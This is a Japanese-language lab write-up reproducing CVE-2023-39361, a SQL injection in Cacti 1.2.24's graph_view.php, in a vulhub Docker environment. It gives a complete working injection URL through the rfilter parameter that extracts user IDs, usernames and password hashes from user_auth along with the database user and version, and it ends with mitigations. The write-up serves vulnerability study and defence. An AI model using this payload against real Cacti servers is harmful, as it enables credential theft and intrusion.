概要

Cacti 1.2.24サーバのgraph_view.phpファイルのgrow_right_pane_tree関数に脆弱性が存在する。
actionパラメータをtree_contentに設定すると、ユーザー入力値であるrfilterパラメータが存在する。
rfilterパラメータはhtml_validate_tree_vars関数で検証されるが、その検証は単に有効な正規表現かどうかのみを検査する。
最終的にrfilter値をSQLクエリ内に挿入し、コード挿入が可能となる。
id、usernameなどの値を抽出できる。(本PoCで使用)

事前設定

docker-compose -vでDocker Composeのインストール有無とバージョンを確認する。
CVE-2023-39361の構成に必要なDockerコンポーネントを準備する。(ymlやイメージなど)

環境構築と実行

vulhub内のcacti/CVE-2023-39361/docker-compose.yml、entrypoint.shを使用する。
docker compose up -dでPoC環境を構築する。(イメージ: cacti:1.2.24)
ymlファイルに設定したlocalhostアドレス8080:80でCactiサーバを構築する。

脆弱性PoC

本脆弱性は、認証設定で一般ユーザー(guest)もグラフを確認できるように設定した場合に発生する。
本脆弱性は以下のようなパラメータ入力で確認できる:
- %20OR%20""="((" : 代表的なSQLインジェクションコード。ORを使って強制的に真の条件を満たす。
- %20UNION%20SELECT% : 任意の結果を取得する。
- (select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201) : id#username#passwordの値を要求する。
- (select%20user()),(select%20version()) : データベースユーザー/バージョンを取得する。
- %23 : #なので後続のSQL文が無効化される。

http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23

結果

burpsuiteの実行とレスポンス要求した通りの応答が返ってきたことが確認できる。

まとめ

SQLインジェクション攻撃は、サーバーの相互作用中にユーザー入力を受け入れることで主に発生する。このSQLインジェクション攻撃によりデータベース内部の機密性が侵害され、資産が漏洩する結果が確認できた。
このSQLインジェクションに対する対策として、rfilterに基本的なホワイトリスト値の検証をチェックするか、(", ', ;, ...)のような特殊文字をエスケープ処理することができる。またはDBアクセス時にDoctrineのようなORMライブラリを使用する改善が考えられる。

CVE-2023-39361

人気

Cacti graph_view.php SQLインジェクションによるRCE [CVE-2023-39361]

概要

事前設定

環境構築と実行

脆弱性PoC

結果

まとめ